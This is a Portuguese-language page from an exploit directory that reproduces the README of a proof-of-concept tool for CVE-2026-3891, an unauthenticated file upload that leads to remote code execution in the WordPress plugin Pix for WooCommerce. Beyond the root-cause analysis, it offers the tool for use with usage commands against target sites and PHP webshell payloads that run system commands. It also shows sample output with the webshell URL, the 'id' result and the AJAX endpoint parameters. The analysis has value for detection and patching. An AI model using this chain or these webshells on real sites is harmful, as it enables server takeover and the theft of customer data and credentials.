Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-3891 — PoC para CVE-2026-3891 – Upload de arquivo não autenticado com RCE no Pix for WooCommerce ≤ 1.5.0. Recuperação automatizada de nonce, upload de PHP e execução de comandos. | Kitploit
Ferramentas/GitHubGitHub/ch4120n/cve-2026-3891
ExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubch4120n/cve-2026-3891

CVE-2026-3891

PoC para CVE-2026-3891 – Upload de arquivo não autenticado com RCE no Pix for WooCommerce ≤ 1.5.0. Recuperação automatizada de nonce, upload de PHP e execução de comandos.

Ver Repositório
210há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🚀 CVE-2026-3891 – Upload de Arquivo Não Autenticado no Pix for WooCommerce com RCE

Python Exploit CVE

GitHub stars GitHub issues License

Exploit de Prova-de-Conceito para CVE-2026-3891 – upload arbitrário de arquivo não autenticado que leva à execução remota de código no plugin Pix for WooCommerce do WordPress (≤ 1.5.0).


📖 Visão Geral

CVE-2026-3891 é uma vulnerabilidade crítica no plugin Pix for WooCommerce, que afeta todas as versões até 1.5.0. O plugin não aplica verificações adequadas de autorização e tipo de arquivo no seu handler AJAX lkn_pix_for_woocommerce_c6_save_settings. Um atacante não autenticado pode abusar dessa falha para enviar arquivos PHP arbitrários para um diretório publicamente acessível e obter execução remota de código no servidor WordPress subjacente.

Este repositório contém um PoC de nível de produção que automatiza toda a cadeia de ataque – desde a obtenção de um nonce válido até o upload de um webshell – com tratamento robusto de erros e uma interface de linha de comando elegante.

🔍 Recursos Principais

  • Totalmente não autenticado – não exige credenciais do WordPress ou cookies de sessão.
  • Extração automática de nonce – o exploit obtém o nonce de segurança necessário através da mesma interface AJAX pública.
  • Upload de arquivo multipart – constrói corretamente o parâmetro de arquivo certificate_crt_path esperado pelo handler vulnerável.
  • Geração direta de URL – fornece imediatamente a URL pública do payload enviado.
  • Verificações de pós-exploração – verificação opcional do sucesso do upload e execução de comandos em tempo real (--check).
  • Tratamento avançado de erros – lida graciosamente com Cloudflare, WAFs, timeouts e respostas malformadas.
  • Saída limpa e informativa – todas as mensagens são prefixadas com [ * ], [ + ], [ - ], [ ! ] para leitura imediata.

🧬 Detalhes da Vulnerabilidade

A causa raiz está em duas ações AJAX registradas pelo plugin:

1. lkn_pix_for_woocommerce_generate_nonce

add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

Esta ação está conectada ao hook wp_ajax_nopriv_*, tornando-a acessível a visitantes não autenticados. Ela gera um nonce para a ação lkn_pix_for_woocommerce_c6_settings_nonce e o retorna em um envelope JSON:

{"success":true,"data":{"nonce":"abc123..."}}

Nenhuma verificação de capacidade ou autenticação de usuário é realizada – qualquer pessoa pode solicitar um nonce válido.

2. lkn_pix_for_woocommerce_c6_save_settings

add_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);

Este handler salva as configurações do plugin, incluindo um campo de upload de arquivo chamado certificate_crt_path. Embora o upload ocorra através do helper media_handle_upload do WordPress, o plugin não:

  • Verifica se a solicitação vem de um usuário autenticado e autorizado (ausência de current_user_can).
  • Aplica qualquer restrição de tipo ou extensão de arquivo (por exemplo, permite arquivos .php).
  • Armazena o arquivo em um local não executável – ele acaba em:
    wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
    
    que é diretamente acessível via web.

Como o nonce protege apenas contra CSRF e pode ser obtido por qualquer pessoa, um atacante pode encadear essas duas ações para enviar e executar código PHP arbitrário.

Versões Afetadas

  • Pix for WooCommerce versões ≤ 1.5.0
  • A vulnerabilidade foi confirmada em instalações WordPress limpas com configurações padrão.

Impacto

  • Execução Remota de Código – acesso total ao webshell com os privilégios do servidor web (normalmente www-data ou apache).
  • Exfiltração de dados – ler wp-config.php, credenciais do banco de dados, dados de clientes.
  • Persistência – modificar arquivos do núcleo, plantar backdoors.
  • Assunção total do site – escalar para administrador do WordPress se o banco de dados estiver acessível.

🛠️ Requisitos de Exploração

  • Acesso à rede ao site WordPress alvo (nenhuma autenticação necessária).
  • Python 3.8+ com a biblioteca requests (instale via pip install requests).
  • O alvo deve ter o plugin vulnerável instalado e ativo (a configuração padrão é suficiente).

🚀 Uso

Instalação

git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt   # requests

Comando Básico

python CVE-2026-3891.py http://target.com/wordpress

Para mais controle, use as opções de linha de comando:

python CVE-2026-3891.py https://example.com \
  -f shell.php \
  -p '<?php system($_GET["c"]); ?>' \
  --check \
  --timeout 20

Exemplo de Saída

  ___  _  _  ____     ___   ___  ___    _       ___  ___  ___  __ 
 / __)( \/ )( ___)___(__ \ / _ \(__ \  / )  ___(__ )( _ )/ _ \/  )
( (__  \  /  )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_  / )( 
 \___)  \/  (____)   (____)\___/(____)\___/    (___/\___/ (_/ (__)
                        [CVE-2026-3891]
          Pix for WooCommerce Unauthenticated File Upload
                         Owner: Ch4120N

[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php

# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Opções de Linha de Comando

FlagDescriçãoPadrão
target (posicional)URL base do site WordPress.Obrigatório
-f, --filenameNome do arquivo PHP enviado.woocommerce.php
-p, --payloadCódigo PHP a ser enviado.<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>
-t, --timeoutTimeout da solicitação em segundos.15
-r, --retriesMáximo de tentativas para obter o nonce.2
--no-bannerSuprime o ASCII art.(desativado)
--no-verifyIgnora a verificação de acessibilidade após o upload.(desativado)
--checkExecuta id no webshell após o upload.(desativado)

🧪 Detalhes Técnicos para Detecção e Ajuste

Endpoint de Geração de Nonce

  • URL: http://target/wp-admin/admin-ajax.php
  • Ação: lkn_pix_for_woocommerce_generate_nonce
  • Parâmetro: action_name=lkn_pix_for_woocommerce_c6_settings_nonce
  • Resposta: {"success":true,"data":{"nonce":"..."}}
  • Nota: O nonce é sempre obtenível porque a ação é registrada com wp_ajax_nopriv_*. Nenhum cookie ou sessão é necessário.
Baixar ferramenta